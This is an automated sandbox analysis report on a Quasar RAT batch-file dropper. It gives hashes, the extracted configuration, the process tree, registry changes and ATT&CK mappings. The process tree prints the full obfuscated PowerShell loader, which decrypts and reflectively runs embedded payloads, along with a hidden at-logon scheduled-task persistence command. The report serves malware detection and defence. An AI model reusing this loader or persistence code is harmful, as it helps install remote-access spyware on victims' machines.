quasar | 5e93bfa2d2fe95587cc4188f3cec20920ac1cf9c14940409c598f23147db1b8a

General

Target

$phantom-skull.bat
Size

586KB
MD5

3f4ece14276b9a3e1e10af1a2b1b8dfe
SHA1

a69c879a38c3aa8f45cd68721e92da4b2764a21b
SHA256

5e93bfa2d2fe95587cc4188f3cec20920ac1cf9c14940409c598f23147db1b8a
SHA512

e5b7542ee731c02b3aec132a769974f4e3f43496cfd538df76553695e06d24c0f1153cd76581a0a9874194adf2eca60c5bfb43ad6f57e12b96b60abf4f4f586a
SSDEEP

12288:ojDtCqD6/FY2qyiInQaRxp2Dgtmf3jk4pn+Zn9r+N4I85IS/j0FYd:o/hG/jqnINn2DgMjXn+ZN+/Nxed

Score

10^/10

quasar office04 execution spyware trojan

Malware Config

Extracted

Family

quasar

Version

1.3.0.0

Botnet

Office04

C2

127.0.0.1:4782

Mutex

QSR_MUTEX_6eCif6XcwfXry8UScl

Attributes

encryption_key
5nBytPW7wGaoGTQFl19L
install_name
Client.exe
log_directory
Logs
reconnect_delay
3000
startup_key
Quasar Client Startup
subdirectory
SubDir

Signatures

Quasar RAT
Quasar is an open source Remote Access Tool.
trojan spyware quasar

Quasar payload 1 IoCs

Processes:

resource	yara_rule
behavioral1/memory/4968-142-0x000002A9B0A70000-0x000002A9B0ACE000-memory.dmp	family_quasar

Blocklisted process makes network request 1 IoCs

Processes:

powershell.exe

flow pid process

2 4968 powershell.exe
Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs
Run Powershell and hide display window.
execution

PowerShell
T1059.001

Processes:

powershell.exepowershell.exepowershell.exe

pid process

3252 powershell.exe
704 powershell.exe
4968 powershell.exe
Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.

Processes:

flow ioc

1 ip-api.com
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Modifies data under HKEY_USERS 1 IoCs

Processes:

svchost.exe

description ioc process

Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections svchost.exe

flow	pid	process
2	4968	powershell.exe

flow	ioc
1	ip-api.com

description	ioc	process
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections	svchost.exe

Modifies registry class 9 IoCs

Processes:

svchost.exepowershell.exe

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-3107365284-1576850094-161165143-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\MicrosoftWindows.Client.CBS_cw5n1h2txyewy	svchost.exe
Key created	\REGISTRY\USER\S-1-5-21-3107365284-1576850094-161165143-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\HAM\AUI	svchost.exe
Key created	\REGISTRY\USER\S-1-5-21-3107365284-1576850094-161165143-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\HAM\AUI\Global.IrisService\V1\LU	svchost.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3107365284-1576850094-161165143-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\HAM\AUI\Global.IrisService\V1\LU\PCT = "133620974041164439"	svchost.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3107365284-1576850094-161165143-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\HAM\AUI\Global.IrisService\V1\LU\PTT = "133620974650716589"	svchost.exe
Key created	\REGISTRY\USER\S-1-5-21-3107365284-1576850094-161165143-1000_Classes\Local Settings	powershell.exe
Key created	\REGISTRY\USER\S-1-5-21-3107365284-1576850094-161165143-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\HAM\AUI\Global.IrisService	svchost.exe
Key created	\REGISTRY\USER\S-1-5-21-3107365284-1576850094-161165143-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\HAM\AUI\Global.IrisService\V1	svchost.exe
Key created	\REGISTRY\USER\S-1-5-21-3107365284-1576850094-161165143-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData	svchost.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

Processes:

powershell.exepowershell.exepowershell.exe

pid	process
3252	powershell.exe
3252	powershell.exe
704	powershell.exe
704	powershell.exe
4968	powershell.exe
4968	powershell.exe
4968	powershell.exe
4968	powershell.exe
4968	powershell.exe
4968	powershell.exe
4968	powershell.exe
4968	powershell.exe
4968	powershell.exe
4968	powershell.exe
4968	powershell.exe
4968	powershell.exe
4968	powershell.exe
4968	powershell.exe
4968	powershell.exe
4968	powershell.exe
4968	powershell.exe
4968	powershell.exe
4968	powershell.exe
4968	powershell.exe
4968	powershell.exe
4968	powershell.exe
4968	powershell.exe
4968	powershell.exe
4968	powershell.exe
4968	powershell.exe
4968	powershell.exe
4968	powershell.exe
4968	powershell.exe
4968	powershell.exe
4968	powershell.exe
4968	powershell.exe
4968	powershell.exe
4968	powershell.exe
4968	powershell.exe
4968	powershell.exe
4968	powershell.exe
4968	powershell.exe
4968	powershell.exe
4968	powershell.exe
4968	powershell.exe
4968	powershell.exe
4968	powershell.exe
4968	powershell.exe
4968	powershell.exe
4968	powershell.exe
4968	powershell.exe
4968	powershell.exe
4968	powershell.exe
4968	powershell.exe
4968	powershell.exe
4968	powershell.exe
4968	powershell.exe
4968	powershell.exe
4968	powershell.exe
4968	powershell.exe
4968	powershell.exe
4968	powershell.exe
4968	powershell.exe
4968	powershell.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

Processes:

Explorer.EXE

pid process

3320 Explorer.EXE

pid	process
3320	Explorer.EXE

Suspicious use of AdjustPrivilegeToken 64 IoCs

Processes:

powershell.exepowershell.exe

description	pid	process
Token: SeDebugPrivilege	3252	powershell.exe
Token: SeDebugPrivilege	704	powershell.exe
Token: SeIncreaseQuotaPrivilege	704	powershell.exe
Token: SeSecurityPrivilege	704	powershell.exe
Token: SeTakeOwnershipPrivilege	704	powershell.exe
Token: SeLoadDriverPrivilege	704	powershell.exe
Token: SeSystemProfilePrivilege	704	powershell.exe
Token: SeSystemtimePrivilege	704	powershell.exe
Token: SeProfSingleProcessPrivilege	704	powershell.exe
Token: SeIncBasePriorityPrivilege	704	powershell.exe
Token: SeCreatePagefilePrivilege	704	powershell.exe
Token: SeBackupPrivilege	704	powershell.exe
Token: SeRestorePrivilege	704	powershell.exe
Token: SeShutdownPrivilege	704	powershell.exe
Token: SeDebugPrivilege	704	powershell.exe
Token: SeSystemEnvironmentPrivilege	704	powershell.exe
Token: SeRemoteShutdownPrivilege	704	powershell.exe
Token: SeUndockPrivilege	704	powershell.exe
Token: SeManageVolumePrivilege	704	powershell.exe
Token: 33	704	powershell.exe
Token: 34	704	powershell.exe
Token: 35	704	powershell.exe
Token: 36	704	powershell.exe
Token: SeIncreaseQuotaPrivilege	704	powershell.exe
Token: SeSecurityPrivilege	704	powershell.exe
Token: SeTakeOwnershipPrivilege	704	powershell.exe
Token: SeLoadDriverPrivilege	704	powershell.exe
Token: SeSystemProfilePrivilege	704	powershell.exe
Token: SeSystemtimePrivilege	704	powershell.exe
Token: SeProfSingleProcessPrivilege	704	powershell.exe
Token: SeIncBasePriorityPrivilege	704	powershell.exe
Token: SeCreatePagefilePrivilege	704	powershell.exe
Token: SeBackupPrivilege	704	powershell.exe
Token: SeRestorePrivilege	704	powershell.exe
Token: SeShutdownPrivilege	704	powershell.exe
Token: SeDebugPrivilege	704	powershell.exe
Token: SeSystemEnvironmentPrivilege	704	powershell.exe
Token: SeRemoteShutdownPrivilege	704	powershell.exe
Token: SeUndockPrivilege	704	powershell.exe
Token: SeManageVolumePrivilege	704	powershell.exe
Token: 33	704	powershell.exe
Token: 34	704	powershell.exe
Token: 35	704	powershell.exe
Token: 36	704	powershell.exe
Token: SeIncreaseQuotaPrivilege	704	powershell.exe
Token: SeSecurityPrivilege	704	powershell.exe
Token: SeTakeOwnershipPrivilege	704	powershell.exe
Token: SeLoadDriverPrivilege	704	powershell.exe
Token: SeSystemProfilePrivilege	704	powershell.exe
Token: SeSystemtimePrivilege	704	powershell.exe
Token: SeProfSingleProcessPrivilege	704	powershell.exe
Token: SeIncBasePriorityPrivilege	704	powershell.exe
Token: SeCreatePagefilePrivilege	704	powershell.exe
Token: SeBackupPrivilege	704	powershell.exe
Token: SeRestorePrivilege	704	powershell.exe
Token: SeShutdownPrivilege	704	powershell.exe
Token: SeDebugPrivilege	704	powershell.exe
Token: SeSystemEnvironmentPrivilege	704	powershell.exe
Token: SeRemoteShutdownPrivilege	704	powershell.exe
Token: SeUndockPrivilege	704	powershell.exe
Token: SeManageVolumePrivilege	704	powershell.exe
Token: 33	704	powershell.exe
Token: 34	704	powershell.exe
Token: 35	704	powershell.exe

Suspicious use of WriteProcessMemory 61 IoCs

Processes:

cmd.exepowershell.exeWScript.execmd.exepowershell.exe

description	pid	process	target process
PID 4432 wrote to memory of 1152	4432	cmd.exe	cmd.exe
PID 4432 wrote to memory of 1152	4432	cmd.exe	cmd.exe
PID 4432 wrote to memory of 3252	4432	cmd.exe	powershell.exe
PID 4432 wrote to memory of 3252	4432	cmd.exe	powershell.exe
PID 3252 wrote to memory of 704	3252	powershell.exe	powershell.exe
PID 3252 wrote to memory of 704	3252	powershell.exe	powershell.exe
PID 3252 wrote to memory of 4836	3252	powershell.exe	WScript.exe
PID 3252 wrote to memory of 4836	3252	powershell.exe	WScript.exe
PID 4836 wrote to memory of 1288	4836	WScript.exe	cmd.exe
PID 4836 wrote to memory of 1288	4836	WScript.exe	cmd.exe
PID 1288 wrote to memory of 2396	1288	cmd.exe	cmd.exe
PID 1288 wrote to memory of 2396	1288	cmd.exe	cmd.exe
PID 1288 wrote to memory of 4968	1288	cmd.exe	powershell.exe
PID 1288 wrote to memory of 4968	1288	cmd.exe	powershell.exe
PID 4968 wrote to memory of 3320	4968	powershell.exe	Explorer.EXE
PID 4968 wrote to memory of 2164	4968	powershell.exe	svchost.exe
PID 4968 wrote to memory of 980	4968	powershell.exe	svchost.exe
PID 4968 wrote to memory of 1568	4968	powershell.exe	svchost.exe
PID 4968 wrote to memory of 1164	4968	powershell.exe	svchost.exe
PID 4968 wrote to memory of 1556	4968	powershell.exe	svchost.exe
PID 4968 wrote to memory of 2724	4968	powershell.exe	svchost.exe
PID 4968 wrote to memory of 1736	4968	powershell.exe	svchost.exe
PID 4968 wrote to memory of 1340	4968	powershell.exe	svchost.exe
PID 4968 wrote to memory of 1020	4968	powershell.exe	svchost.exe
PID 4968 wrote to memory of 3500	4968	powershell.exe	svchost.exe
PID 4968 wrote to memory of 2512	4968	powershell.exe	svchost.exe
PID 4968 wrote to memory of 1128	4968	powershell.exe	svchost.exe
PID 4968 wrote to memory of 1948	4968	powershell.exe	svchost.exe
PID 4968 wrote to memory of 924	4968	powershell.exe	svchost.exe
PID 4968 wrote to memory of 1112	4968	powershell.exe	svchost.exe
PID 4968 wrote to memory of 1904	4968	powershell.exe	svchost.exe
PID 4968 wrote to memory of 916	4968	powershell.exe	svchost.exe
PID 4968 wrote to memory of 2688	4968	powershell.exe	svchost.exe
PID 4968 wrote to memory of 1892	4968	powershell.exe	svchost.exe
PID 4968 wrote to memory of 2088	4968	powershell.exe	svchost.exe
PID 4968 wrote to memory of 3464	4968	powershell.exe	svchost.exe
PID 4968 wrote to memory of 2476	4968	powershell.exe	svchost.exe
PID 4968 wrote to memory of 2672	4968	powershell.exe	svchost.exe
PID 4968 wrote to memory of 1292	4968	powershell.exe	svchost.exe
PID 4968 wrote to memory of 1680	4968	powershell.exe	svchost.exe
PID 4968 wrote to memory of 1476	4968	powershell.exe	svchost.exe
PID 4968 wrote to memory of 2460	4968	powershell.exe	svchost.exe
PID 4968 wrote to memory of 2452	4968	powershell.exe	svchost.exe
PID 4968 wrote to memory of 4420	4968	powershell.exe	svchost.exe
PID 4968 wrote to memory of 1688	4968	powershell.exe	svchost.exe
PID 4968 wrote to memory of 1852	4968	powershell.exe	svchost.exe
PID 4968 wrote to memory of 864	4968	powershell.exe	svchost.exe
PID 4968 wrote to memory of 2628	4968	powershell.exe	svchost.exe
PID 4968 wrote to memory of 4408	4968	powershell.exe	svchost.exe
PID 4968 wrote to memory of 2032	4968	powershell.exe	svchost.exe
PID 4968 wrote to memory of 5116	4968	powershell.exe	svchost.exe
PID 4968 wrote to memory of 1484	4968	powershell.exe	svchost.exe
PID 4968 wrote to memory of 1032	4968	powershell.exe	svchost.exe
PID 4968 wrote to memory of 2640	4968	powershell.exe	svchost.exe
PID 4968 wrote to memory of 1224	4968	powershell.exe	svchost.exe
PID 4968 wrote to memory of 1812	4968	powershell.exe	svchost.exe
PID 4968 wrote to memory of 1212	4968	powershell.exe	svchost.exe
PID 4968 wrote to memory of 1992	4968	powershell.exe	svchost.exe
PID 4968 wrote to memory of 2384	4968	powershell.exe	svchost.exe
PID 4968 wrote to memory of 804	4968	powershell.exe	svchost.exe
PID 4968 wrote to memory of 3952	4968	powershell.exe	svchost.exe

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k DcomLaunch -p
1⤵
- Modifies registry class
PID:804

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k RPCSS -p
1⤵
PID:924

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM
1⤵
PID:980

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts
1⤵
PID:916

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService
1⤵
PID:1020

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc
1⤵
PID:1032

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNoNetwork -p
1⤵
PID:1112

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s nsi
1⤵
PID:1128

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc
1⤵
PID:1164

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule
1⤵
PID:1212

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netprofm -p -s netprofm
1⤵
PID:1224

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s ProfSvc
1⤵
PID:1292

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s DispBrokerDesktopSvc
1⤵
PID:1340

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager
1⤵
PID:1476

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog
1⤵
PID:1484

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s EventSystem
1⤵
PID:1556

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s Themes
1⤵
PID:1568

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s SENS
1⤵
PID:1680

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkService -p
1⤵
PID:1688

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s AudioEndpointBuilder
1⤵
PID:1736

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
1⤵
PID:1812

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Dhcp
1⤵
PID:1852

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
1⤵
PID:1892

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p
1⤵
PID:1904

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k appmodel -p -s StateRepository
1⤵
PID:1992

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s ShellHWDetection
1⤵
PID:2032

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNoNetworkFirewall -p
1⤵
PID:2088

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k NetworkService -p -s LanmanWorkstation
1⤵
PID:2164

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -s RmSvc
1⤵
PID:2384

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkServiceNetworkRestricted -p -s PolicyAgent
1⤵
PID:2452

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s IKEEXT
1⤵
PID:2460

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkService -p
1⤵
PID:2512

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s TrkWks
1⤵
PID:2628

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Winmgmt
1⤵
PID:2672

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s WpnService
1⤵
PID:2688

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s LanmanServer
1⤵
PID:2724

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k UnistackSvcGroup -s CDPUserSvc
1⤵
PID:2476

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
- Suspicious behavior: GetForegroundWindowSpam
PID:3320

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\$phantom-skull.bat"
2⤵
- Suspicious use of WriteProcessMemory
PID:4432

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /S /D /c" echo function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('1tZl9+chFvFUMivNPwRvE1J//QYCwffyFtkUsPgq+ck='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('AMw+lJFY+Lujvh0Sp7EJlQ=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $TVPzB=New-Object System.IO.MemoryStream(,$param_var); $YCfwC=New-Object System.IO.MemoryStream; $ZJpOk=New-Object System.IO.Compression.GZipStream($TVPzB, [IO.Compression.CompressionMode]::Decompress); $ZJpOk.CopyTo($YCfwC); $ZJpOk.Dispose(); $TVPzB.Dispose(); $YCfwC.Dispose(); $YCfwC.ToArray();}function execute_function($param_var,$param2_var){ $AlGMz=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $anIMO=$AlGMz.EntryPoint; $anIMO.Invoke($null, $param2_var);}$JaPUK = 'C:\Users\Admin\AppData\Local\Temp\$phantom-skull.bat';$host.UI.RawUI.WindowTitle = $JaPUK;$cbIiD=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($JaPUK).Split([Environment]::NewLine);foreach ($kSbQD in $cbIiD) { if ($kSbQD.StartsWith('JbAefUgjahVjAymduHEl')) { $BhOFY=$kSbQD.Substring(20); break; }}$payloads_var=[string[]]$BhOFY.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] ('')); "
3⤵
PID:1152

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden
3⤵
- Command and Scripting Interpreter: PowerShell
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3252

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Register-ScheduledTask -TaskName '$phantom-RuntimeBroker_startup_786_str' -Trigger (New-ScheduledTaskTrigger -AtLogon) -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\$phantom-startup_str_786.vbs') -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -Hidden -ExecutionTimeLimit 0) -RunLevel Highest -Force
4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:704

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\$phantom-startup_str_786.vbs"
4⤵
- Suspicious use of WriteProcessMemory
PID:4836

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\$phantom-startup_str_786.bat" "
5⤵
- Suspicious use of WriteProcessMemory
PID:1288

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /S /D /c" echo function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('1tZl9+chFvFUMivNPwRvE1J//QYCwffyFtkUsPgq+ck='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('AMw+lJFY+Lujvh0Sp7EJlQ=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $TVPzB=New-Object System.IO.MemoryStream(,$param_var); $YCfwC=New-Object System.IO.MemoryStream; $ZJpOk=New-Object System.IO.Compression.GZipStream($TVPzB, [IO.Compression.CompressionMode]::Decompress); $ZJpOk.CopyTo($YCfwC); $ZJpOk.Dispose(); $TVPzB.Dispose(); $YCfwC.Dispose(); $YCfwC.ToArray();}function execute_function($param_var,$param2_var){ $AlGMz=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $anIMO=$AlGMz.EntryPoint; $anIMO.Invoke($null, $param2_var);}$JaPUK = 'C:\Users\Admin\AppData\Roaming\$phantom-startup_str_786.bat';$host.UI.RawUI.WindowTitle = $JaPUK;$cbIiD=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($JaPUK).Split([Environment]::NewLine);foreach ($kSbQD in $cbIiD) { if ($kSbQD.StartsWith('JbAefUgjahVjAymduHEl')) { $BhOFY=$kSbQD.Substring(20); break; }}$payloads_var=[string[]]$BhOFY.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] ('')); "
6⤵
PID:2396

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden
6⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:4968

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k ClipboardSvcGroup -p -s cbdhsvc
1⤵
PID:3464

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Appinfo
1⤵
PID:3500

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k UdkSvcGroup -s UdkUserSvc
1⤵
PID:3952

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k osprivacy -p -s camsvc
1⤵
PID:4420

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation -p -s SSDPSRV
1⤵
PID:4408

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s CDPSvc
1⤵
PID:864

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s StorSvc
1⤵
PID:1948

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s WinHttpAutoProxySvc
1⤵
- Modifies data under HKEY_USERS
PID:5116

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager
1⤵
PID:2640

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

1

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
3KB

MD5
df472dcddb36aa24247f8c8d8a517bd7

SHA1
6f54967355e507294cbc86662a6fbeedac9d7030

SHA256
e4e0fbc974e6946d20ddfaf22c543fccc4662d28e30530ec710fec149958f9b6

SHA512
06383259258a8c32f676ddaf7ea1fec3de7318ff1338f022e03c6b33458f2ce708e073ceb1aa26e3cf37f82dac37c8163b8ebd2de56b8530dffe177845c7adca

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive

Filesize
1KB

MD5
3ec0d76d886b2f4b9f1e3da7ce9e2cd7

SHA1
68a6a2b7b0fa045cd9cf7d63d4e30600a7b25dea

SHA256
214be9e8293b00fc05089068033edb41da350e0f127dd782bf6cb748000a56a5

SHA512
a49d758d03e3a7bc38be29d577c3e0d0c69eb08d0496a81b9406b446c5808d7dfbab39c5be3b45cbb4aec511d87c6166453cbd12cebe5d8663a60b5d773206c6

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_bdswtfn2.4vk.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Roaming\$phantom-startup_str_786.bat

Filesize
586KB

MD5
3f4ece14276b9a3e1e10af1a2b1b8dfe

SHA1
a69c879a38c3aa8f45cd68721e92da4b2764a21b

SHA256
5e93bfa2d2fe95587cc4188f3cec20920ac1cf9c14940409c598f23147db1b8a

SHA512
e5b7542ee731c02b3aec132a769974f4e3f43496cfd538df76553695e06d24c0f1153cd76581a0a9874194adf2eca60c5bfb43ad6f57e12b96b60abf4f4f586a

Download Submit
C:\Users\Admin\AppData\Roaming\$phantom-startup_str_786.vbs

Filesize
124B

MD5
3aae4ea544cc2cd35aaa9054c0e90dfb

SHA1
376f49daa1f20d18b0dc90680e479488991915f2

SHA256
88c0b8dc771efe205028ad26228033911d375e4f1a37e32941791f83bc23ae00

SHA512
44943534c5e403591f54272a6cd9379d1f440c14cc130c7441a21e6b1def3ae342fd9b532488494d02487a10612a8b01b222c1c3376c486a0aeb8b9a0880d2b2

Download Submit
memory/704-17-0x00007FF836930000-0x00007FF8373F2000-memory.dmp

Filesize
10.8MB

Download
memory/704-18-0x00007FF836930000-0x00007FF8373F2000-memory.dmp

Filesize
10.8MB

Download
memory/704-27-0x00007FF836930000-0x00007FF8373F2000-memory.dmp

Filesize
10.8MB

Download
memory/704-30-0x00007FF836930000-0x00007FF8373F2000-memory.dmp

Filesize
10.8MB

Download
memory/924-110-0x00007FF817B50000-0x00007FF817B60000-memory.dmp

Filesize
64KB

Download
memory/1164-101-0x00007FF817B50000-0x00007FF817B60000-memory.dmp

Filesize
64KB

Download
memory/1212-98-0x00007FF817B50000-0x00007FF817B60000-memory.dmp

Filesize
64KB

Download
memory/1292-104-0x00007FF817B50000-0x00007FF817B60000-memory.dmp

Filesize
64KB

Download
memory/1340-95-0x00007FF817B50000-0x00007FF817B60000-memory.dmp

Filesize
64KB

Download
memory/1476-107-0x00007FF817B50000-0x00007FF817B60000-memory.dmp

Filesize
64KB

Download
